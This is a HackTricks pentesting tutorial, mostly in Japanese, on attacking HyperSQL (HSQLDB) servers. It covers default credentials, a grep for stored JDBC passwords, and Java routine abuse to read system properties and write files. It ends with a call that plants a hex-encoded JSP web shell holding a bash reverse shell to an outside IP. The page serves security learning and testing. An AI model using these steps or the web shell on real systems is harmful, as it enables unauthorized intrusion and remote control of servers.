hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md

97 lines
6 KiB
Markdown
Raw Normal View History

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
# 基本情報
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** は、Javaで書かれた主要なSQLリレーショナルデータベースシステムです。小型で高速なマルチスレッドおよびトランザクショナルデータベースエンジンを提供し、メモリ内およびディスクベースのテーブルをサポートし、埋め込みモードとサーバーモードをサポートしています。
**デフォルトポート:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
2023-07-07 23:42:27 +00:00
# 情報
2023-07-07 23:42:27 +00:00
### デフォルト設定
デフォルトでは、このサービスはメモリ内で実行されているか、localhostにバインドされている可能性があります。これを見つけた場合、別のサービスを悪用し、特権を昇格させようとしている可能性があります。
デフォルトの認証情報は通常、`sa`と空のパスワードです。
別のサービスを悪用した場合、可能な認証情報を検索してください。
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
注意深くデータベース名を確認してください - 接続するために必要です。
2023-07-07 23:42:27 +00:00
# 情報収集
[HSQLDB](https://sourceforge.net/projects/hsqldb/files/)をダウンロードして、`hsqldb/lib/hsqldb.jar`を抽出することでDBインスタンスに接続します。`java -jar hsqldb.jar`を使用してGUIアプリを実行し、発見した/弱い資格情報を使用してインスタンスに接続します。
接続URLはリモートシステムの場合、次のようになります: `jdbc:hsqldb:hsql://ip/DBNAME`
# トリック
2023-07-07 23:42:27 +00:00
## Java言語ルーチン
HSQLDBからJava言語ルーチンを使用してJavaクラスの静的メソッドを呼び出すことができます。呼び出されるクラスはアプリケーションのクラスパスに含まれている必要があります。
JRTは`関数`または`手続き`です。関数は、Javaメソッドが1つ以上のSQL互換のプリミティブ変数を返す場合、SQL文を介して呼び出すことができます。`VALUES`文を使用して呼び出されます。
呼び出したいJavaメソッドがvoidを返す場合、`CALL`文を使用して呼び出される手続きを使用する必要があります。
2023-07-07 23:42:27 +00:00
## Javaシステムプロパティの読み取り
関数を作成:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
関数を実行する:
```text
VALUES(getsystemproperty('user.name'))
```
You can find a [list of system properties here](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
## ファイルにコンテンツを書く
`com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Javaガジェットを使用して、カスタム手順を介して16進エンコードされたアイテムをディスクに書き込むことができますJDKにあり、アプリケーションのクラスパスに自動的にロードされます。**最大サイズは1024バイトです**。
手順を作成:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
手続きを実行する:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricksをサポートする</summary>
2022-04-28 16:01:33 +00:00
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}